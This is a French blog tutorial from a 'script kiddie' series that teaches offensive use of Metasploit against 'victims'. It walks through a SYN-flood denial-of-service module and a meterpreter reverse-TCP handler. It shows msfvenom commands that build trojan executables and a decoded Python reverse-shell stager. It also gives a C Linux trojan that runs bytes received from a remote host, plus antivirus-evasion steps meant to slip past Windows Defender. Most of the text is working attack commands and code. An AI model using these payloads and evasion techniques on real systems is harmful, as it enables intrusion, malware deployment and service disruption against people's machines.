🌙
  • đŸ‡ș🇾 English
  • đŸ‡«đŸ‡· Français
  • đŸ‡Ș🇩 Español

NOTE Post Réécriture : Cet article, et bien d’autres, fait parti de la sĂ©rie “Script kiddie”. Il a Ă©tĂ© Ă©crit il y a plusieurs annĂ©es. Son contenu n’est pas Ă  jour et il contient potentiellement des erreurs. Plus d’information sur la page de prĂ©sentation de la sĂ©rie.

Metasploit (MSF) est le véritable couteau-suisse des Hackers. Il comprend la plupart des outils nécessaires pour exploiter des machines.

Installer Metasploit

Simplement avec cette commande :

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall; chmod 755 msfinstall; ./msfinstall

Rapide tour de Metasploit

Metasploit est un Framework, il offre donc un ensemble de programme tous accessible depuis un logiciel commun. La particularitĂ© de MSF est qu’il s’ajoute Ă  bash (ou autres interprĂ©teurs de commandes), ainsi, il agit comme une vĂ©ritable console.

Les programmes fournis sont prĂ©sents dans un dossier et il faut les appeler avant de les exĂ©cuter et dĂ©finir des variables qu’ils pourront utiliser.

Avant toutes choses, MSF a besoin d’une base de donnĂ©e afin de stocker certaines donnĂ©es de vos victimes ou d’établir une connexion (ou encore, afin de piĂ©ger quelqu’un avec de l’ingĂ©nierie sociale).

msfdb init

Cela devrait la dĂ©marrer, en cas d’erreur, une petite recherche internet devrait permettre de rĂ©soudre le problĂšme.

Démarrer Metasploit :

msfconsole

Comme tous framework, la commande help renvoie des informations utiles sur les différentes nouvelles commandes disponibles.

Pour une fois, je n’expliquerai pas beaucoup pour vous laisser mener vos propres recherches sur ce fantastique logiciel. En effet, un guide de 300 pages ne suffirait pas Ă  couvrir l’entiĂšretĂ© des possibilitĂ©s qu’offre le programme
 Je vous laisse donc lire la page d’aide.

Utilisons notre premier module

Je souhaite réaliser une attaque DOS (Denial of Service) sur un serveur Web. Commençons par chercher un module intéressant pour nos besoins :

search DOS

Cela va nous donner une liste de programme ayant le mot DOS dans leur nom ou leur description

Parmi les nombreuses propositions de cette liste, auxiliary/dos/tcp/synflood semble ĂȘtre la plus intĂ©ressante.

Je dĂ©cide donc de l’utiliser :

use auxiliary/dos/tcp/synflood

Ici, un numĂ©ro est attribuĂ© Ă  l’auxiliaire, j’aurais donc bien pu taper (dans mon cas) :

use 74

Avec une autre commande, nous allons obtenir la liste des valeurs à donner pour lancer notre petite attaque :

show options

La colonne name dĂ©signe le nom de la variable ; current setting, sa valeur ; Required, s’il est obligatoire de le renseigner ; Description, une courte description de la variable (Ă  quoi elle sert). On voit que des valeurs sont dĂ©jĂ  renseignĂ©es, dans ce type d’attaque, on ne modifie gĂ©nĂ©ralement que deux paramĂštres, RHOST et RPORT, respectivement l’adresse IP de la victime ainsi que le port Ă  viser.

On doit donc les renseigner en fonction de ce que l’on veut :

set RHOST 172.17.0.250
set RPORT 3128

Attention, ce n’est pas parce que je mets RPORT sur 3128 que vous devez le faire. Pour ceux n’ayant aucune connaissance en rĂ©seau, le port renvoie Ă  une application spĂ©cifique, 3128 n’est qu’un exemple parmi d’autre et seul une analyse avec Nmap vous dira quels services sont prĂ©sents sur quel port


Une fois les variables renseignĂ©es, il n’y a plus qu’à lancer l’exĂ©cution :

exploit

Cet exemple est bien sommaire. Cependant, il vous a sĂ»rement permis de comprendre l’utilisation la plus basique de Metasploit !

Vocabulaire

Metasploit utilise le vocabulaire des hackers, les vrais. Loin de lĂ  l’idĂ©e que nous sommes des hackers, mais utiliser leur vocabulaire facilitera la comprĂ©hension de la documentation.

Payload : (charge utile) il s’agit du code que l’on va injecter Ă  l’intĂ©rieur de la machine et qui va servir de pont entre nous et la victime. Le plus connu des payload est meterpreter, avec l’on peut par exemple se balader dans les fichiers, prendre des photos ou carrĂ©ment installer des logiciels.

Exploit : c’est un code qui va exploiter une vulnĂ©rabilité 

VulnĂ©rabilité : Faiblesse d’un systĂšme, reprĂ©sente un danger. Les vulnĂ©rabilitĂ©s sont des bouts d’un programme qui sont mal conçus et pour x ou y raison peuvent ĂȘtre exploitables (ou pas)

module : application que l’on peut importer dans Metasploit

Backdoor : Programme installer sur la machine de victime rendant l’accĂšs Ă  son ordinateur plus simple dans le cas oĂč nous devrions y retourner

D’autres mots existent mais ceux-ci demeurent les plus importants à connaütre. On verra le reste au fur et à mesure


Meterpreter, la prise de contrÎle de la machine simplifiée

Comme vu plus haut, meterpreter est un payload (mais aussi un shellcode), il va nous permettre de faire la liaison entre notre machine et celle de ma victime. Afin de simplifier la suite, la victime sera une machine sur Windows XP sans antivirus installé sur Virtualbox.

Si on cherche meterpreter dans la liste des modules de Metasploit, on peut voir qu’il existe beaucoup de logiciel l’utilisant. GĂ©nĂ©ralement, pour prendre le contrĂŽle d’une machine Ă  l’aide d’un exĂ©cutable, on utilise windows/meterpreter/reverse_tcp. Avant de l’utiliser, il va falloir dĂ©jĂ  appeler le programme Handler qui va nous permettre de gĂ©rer les payloads hors de la console MSF.

use exploit/multi/handler

Puis enfin :

set payload windows/meterpreter/reverse_tcp

Il y a deux options Ă  remplir impĂ©rativement, LHOST et LPORT, c’est-Ă -dire votre IP et le port que lequel votre machine va Ă©couter en vu d’éventuelle connexion.

Attention : LHOST peut ĂȘtre soit votre IP publique, soit votre IP privĂ©. En effet, pour toutes attaques sur votre rĂ©seau, prenez la privĂ©e. En revanche, lorsque vous vous attaquez Ă  quelqu’un hors de votre rĂ©seau, il va falloir renseigner votre IP publique. De plus, il vous faudra rediriger les ports (port forwarding) pour que la machine extĂ©rieure puisse se connecter.

Maintenant que vous ĂȘtes des professionnels dans l’utilisation des variables, vous pourrez aisĂ©ment continuer :)

N’oubliez pas une fois fini de lancer l’attaque.

Passons donc maintenant Ă  la partie fabrication du trojan (cheval de Troie = shellcode).

Ouvrez un nouveau terminal en laissant l’autre de cĂŽtĂ©.

On va pour se faire utiliser msfvenom (msfpayload + msfencode, pour les anciennes versions).

Le plus simple reste de faire de cette maniÚre :

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.19 LPORT=4444 -f exe > trojan.exe

Modifiez les paramĂštres en fonction de ce que vous avez besoin et installez le fichier sur la machine de la victime.

Petite prĂ©cision, vous pouvez obtenir la liste des diffĂ©rents payload, format ou d’autre chose en utilisant le paramĂštre -l, ex :

msfvenom -l payloads

Metasploit devrait vous avertir qu’une session est ouverte et vous basculez automatiquement en mode meterpreter. Tapez help pour avoir un aperçu de ce qu’il est possible de faire !

Un cheval de Troie plus complexe

Les trojans que propose Metasploit sont trĂšs simples et facilement dĂ©tectables, il faut donc pratiquer ce qu’on appelle une « évasion ». Évader (je traduis depuis l’anglais oĂč le terme « evading » est utilisĂ©) son cheval de Troie, c’est lui donner la capacitĂ© d’outrepasser les antivirus.

Les techniques sont nombreuses et parfois trùs complexes, je vous en donnerai quelques-unes des miennes


Commençons par la premiĂšre, qui va ĂȘtre un peu complexe Ă  comprendre. On va se servir d’un exemple de code lisible produit par Metasploit :

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4200 -f py

Ceci nous renvoie le pavé suivant :

buf =  b""
buf += b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41"
buf += b"\x50\x52\x51\x48\x31\xd2\x65\x48\x8b\x52\x60\x56\x48"
buf += b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
buf += b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
... 
buf += b"\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2"
buf += b"\x56\xff\xd5"

Ce n’est toujours pas vraiment trĂšs lisible Ă  nos yeux de simple mortel, mais ça l’est dĂ©jĂ  plus que si vous essayiez de dĂ©chiffrer le format exe. À l’intĂ©rieur de ce pavĂ© se trouve ce qu’on appelle des « badchars » (mauvais caractĂšres), et ils sont assez facilement reconnaissables quand vous avez l’habitude de faire des scripts dans ce genre :

Pour les enlever automatiquement du code, vous pouvez rajouter l’option -b :

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4200 -f py -b “\x00\x0a\x0d\x20”

Metasploit va alors essayer de chiffrer votre cheval de Troie en utilisant un algorithme compatible avec le langage utilisé. Bien sûr, les « encoders » (algorithmes de chiffrement) peuvent faire bien plus que de la suppression de mauvais caractÚres.

Vous pouvez obtenir la liste de ces algos en tapant :

msfvenom -l encoders

Le meilleur algo de cette liste est sans aucun doute shikata_ga_nai (traduit depuis le japonais : « il ne peut ĂȘtre aidé », phrase populaire japonaise dĂ©signant un individu que l’on ne peut sauver du danger en raison de la dette Ă©norme qu’il aurait envers nous).

Vous pouvez utiliser les encoders à l’aide des paramùtres -e et -i :

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4200 -f py -e x86/shikata_ga_nai -i 10

-i spĂ©cifie alors le nombre fois oĂč le cheval de Troie va ĂȘtre chiffrĂ© (ici 10). Ne mettez un nombre trop grand, c’est inutile et ça ne fera que ralentir la machine.

Maintenant que nous avons vu comment chiffrer son code Ă  l’aide d’un trojan bien plus simple Ă  comprendre, passons Ă  un code un peu plus brut. Si vous aviez essayĂ© de remplacer l’extension py par exe dans les commandes prĂ©cĂ©dentes pour voir si vous arriveriez Ă  Ă©chapper Ă  l’antivirus, vous auriez eu la mauvaise surprise de revoir votre ami Avast s’énerver. Les algorithmes que nous avons utilisĂ©s ont beau ĂȘtre performant, ils sont vieux et facilement reconnaissables par les AV. Il va donc falloir truander, une des spĂ©cialitĂ©s du hacker.

Commençons simple, cachons notre bout de code dans un exécutable :

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4200 -x notepad.exe -k -f exe -o virus_notepad.exe

Précisions :

Rentrons maintenant dans des sujets plus complexes pour réussir à faire fonctionner nos trojans évadés.

Structure d’un cheval de Troie

Depuis tout Ă  l’heure, nous parlons de Trojan et je vous donne l’impression d’oublier de grandes parties de Metasploit. N’ayez crainte, tout ce que l’on voit lĂ  vous permettra de saisir ce qui se passe sur votre machine ou sur celle de votre victime. Libre Ă  vous dĂšs lors de continuer votre lecture sur Metasploit et de ne pas passer directement Ă  exploit-db, je vous encouragerai plutĂŽt Ă  abandonner cette partie pour le moment et Ă  vous comporter comme un script kiddie pour la simple et unique raison que vous ne retiendrez rien de ce que l’on va Ă©tudier avant d’en avoir l’utilitĂ©.

Sur un ordinateur, le code que vous exĂ©cutez doit ĂȘtre compilĂ© pour que la machine puisse le comprendre. Pour le moment, vous n’avez vu qu’un langage de niveau assez bas, le shell, mais vous savez trĂšs bien que l’informatique regorge d’étrangetĂ© parfois inutile.

Ainsi, nous sommes passés de langage comme le C qui était de niveau plutÎt bas, à des monstres comme python qui ressemblent presque à la langue anglaise. Comprenez bien que par « niveau » on entend « à quel point est il proche du langage humain ».

Comme vous pouvez le voir sur ce schĂ©ma fait maison, l’assembleur est le langage de plus bas niveau possible (hors binaire et matĂ©riel). C’est donc le langage le plus proche de ce qu’une machine peut comprendre, mais Ă©galement le plus dur Ă  comprendre.

Nous allons dĂšs Ă  prĂ©sent voir en quoi ce langage peut nous ĂȘtre utile pour la fabrication de nos codes malicieux.

Fabriquez donc un petit trojan en python avec msfvenom :

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4200

Le résultat obtenu est :

exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J...zpzfSkK')[0]))

Si vous décodez depuis base64 le code entre parenthÚses, cela vous donnera :

echo "aW1wb3J...zpzfSkK" | base64 -d 
import socket,zlib,base64,struct,time 
for x in range(10): 
       try: 
               s=socket.socket(2,socket.SOCK_STREAM) 
               s.connect(('192.168.1.1',4200)) 
               break 
       except: 
               time.sleep(5) 
l=struct.unpack('>I',s.recv(4))[0] 
d=s.recv(l) 
while len(d)<l: 
       d+=s.recv(l-len(d)) 
exec(zlib.decompress(base64.b64decode(d)),{'s':s})

Ceux qui ont déjà fait du python reconnaßtront les caractéristiques du code :

Python est bien pratique car il n’y a aucun besoin de le compiler pour l’envoyer, la machine de la victime s’en chargera tout seul Ă  partir du moment oĂč python est installĂ© sur cette derniĂšre. Mais ce n’est pas toujours le cas (et presque jamais mĂȘme), il faudra donc passer par un script compiler et pouvant ĂȘtre exĂ©cutĂ© par le systĂšme d’exploitation de la victime.

Essayons avec ce cheval de Troie pour Linux écrit en C :

#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define BUF_SIZE 500

int main(int argc, char *argv[])
{
  int i = 0;
  char lhost[] = "192.168.1.100";
  int lport = 4200;
  float nb = 2000000.0;
  while(i < nb)
  {
    i++;
  }
  if(i > 100000)
  {
    int sfd;
    char buf[BUF_SIZE];
    struct sockaddr_in servaddr, cli;
    int tmp = 0;

    sfd = socket(AF_INET, SOCK_STREAM, 0);
    bzero(&servaddr, sizeof(servaddr));
    servaddr.sin_family = AF_INET;
    inet_aton(lhost, &servaddr.sin_addr);
    servaddr.sin_port = htons(lport);
    if (connect(sfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) != -1)
      0;
    else
      close(sfd);
    while (read(sfd, buf, BUF_SIZE) > 0)
    {
      int (*foo)() = (int(*)())buf; 
      tmp = foo();
    }
  }
}

Remplacer lhost et lport par les valeurs qui conviennent puis compiler avec :

gcc trojan.c -o trojan.out

Essayer d’exĂ©cuter le fichier obtenu sur une machine Windows, vous n’y arriverez pas ! Et ceci car la maniĂšre dont fonctionnent les exĂ©cutables n’est pas la mĂȘme.

Compilez maintenant avec :

gcc -S trojan.c

Ouvrez ensuite le nouveau fichier trojan.s. Celui-ci est Ă©crit en assembleur et ne doit pas vous sembler trĂšs digeste (que ça soit Ă  premiĂšre vu ou d’un Ɠil avec de l’expĂ©rience). C’est vers ce langage qui n’est dĂ©jĂ  pas comprĂ©hensible que se rapproche votre cheval de Troie quand vous le compilez. Cette petite parenthĂšse m’a permis, je l’espĂšre, de vous rappeler que tout langage informatique Ă©tant exĂ©cutĂ© doit d’abord ĂȘtre transformĂ© en quelque chose de digeste pour la machine.

Toutes ces instructions que vous voyez ont pour but de dĂ©placer des donnĂ©es d’une case mĂ©moire Ă  une autre la plupart du temps. Votre processeur, lorsqu’il exĂ©cute ce code, le fait de maniĂšre purement linĂ©aire. Or, en assembleur, il est possible de rajouter des instructions inutiles (comme dans n’importe quel langage informatique) en dĂ©plaçant des valeurs d’un registre Ă  un autre sans rĂ©el but. Beaucoup d’antivirus, face Ă  ce genre de mouvements, ne sauront pas reconnaĂźtre la dangerositĂ© du programme.

Metasploit possĂšde ce que l’on appelle des NOP (No operation), qui sont un ensemble d’instructions inutiles ajoutĂ©es avant un trojan. Ce n’est pas parfait, et les meilleurs NOP seront toujours ceux faits Ă  la main, mais c’est dĂ©jĂ  un bon dĂ©part. ConcrĂštement, on va juste demander Ă  Metasploit d’ajouter des dĂ©clarations de variables Ă  tire-larigot pour brouiller les pistes.

Pour ce faire, utilisez le paramÚtre -n et spécifiez ensuite le nombre de NOP que vous voulez :

msfvenom -p linux/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4200 -f py -n 30

Vous pouvez également le combiner avec un encoder :

msfvenom -p linux/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4200 -f py -n 30 -e x86/shikata_ga_nai

Accessoirement, Ă©vitez de garder les noms de variables inchangĂ©s, ils sont beaucoup trop clairs et reconnaissables facilement. Utilisez l’option -v pour les changer :

msfvenom -p linux/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4200 -f py -v ma_variable

Avec ce genre de techniques, vous devriez ĂȘtre capable d’échapper Ă  pas mal d’antivirus.

Évasion

On dĂ©signe par Ă©vasion, la tentative pour un hacker de contourner la sĂ©curitĂ© d’un antivirus. Pour continuer Ă  lire cette partie, il est nĂ©cessaire d’avoir les connaissances de base du langage C.

Pour suivre cette partie, nous nous baserons sur un shellcode fait pour Windows. Nous allons essayer de le rendre totalement indétectable pour Windows Defender.

Tout d’abord, gĂ©nĂ©rons le code du shell code en C :

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4200 -f c -e x86/shikata_ga_nai -i 10 -n 30 -v banane R

Il va ensuite falloir inscrire le code Ă  l’intĂ©rieur d’un fichier C Ă  l’aide des lignes qui vont suivre. Nous allons ensuite user de diffĂ©rentes stratĂ©gies pour casser l’Antivirus (Source française : https://www.kali-linux.fr/forum/index.php?topic=2973.0).

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <windows.h>

int main(int argc, char * argv[]) {
     unsigned char banane[] =
"\x93\x92\x40\x3f\xfd\xd6\x9b\x90\x9b\xd6\x9b\x9b\x48\x91\x27"
"\x2f\x93\xf5\x43\x3f\xfd\x49\xf8\x2f\x40\x37\x98\x93\x9b\x41"
"\xbd\xf9\xbb\xea\x33\xdb\xde\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x96\x31\x6a\x13\x03\x6a\x13\x83\xc2\xfd\x59\x1f\x88\xab\xab"
...
"\x40\xf6\x13\xf1\x89\x4a\x8e\xe1\xb5\x8a\x42\x98\x01\xf6\x40"
"\x8e\xf2\x1e\x90\x67\x35\xbf\xb3\x33\xba\x31\xd9\xf0\xa0\x45";

     int (*ret)() = (int(*)())banane;
     ret();
     return 1 ;
}

Vous reconnaissez que la ligne unsigned char banane[] correspond au code que vous a renvoyĂ© Metasploit. Si vous changez le nom de la variable, ce que je peux comprendre, car le mot banane n’est pas parmi les meilleurs, n’oubliez pas de le changer Ă©galement dans le pointeur.

Exploit-db

Exploit-db est une base de donnĂ©e regroupant une multitude d’exploitations. Vous n’aurez plus qu’à trouver celui qui convient Ă  votre cas, puis Ă  l’utiliser.

Commandes pour l’installer :

git clone https://github.com/offensive-security/exploitdb.git /opt/exploit-database
ln -sf /opt/exploit-database/searchsploit /usr/local/bin/searchsploit

Vous avez la possibilité dÚs à présent de faire une recherche avec :

searchsploit [exploit]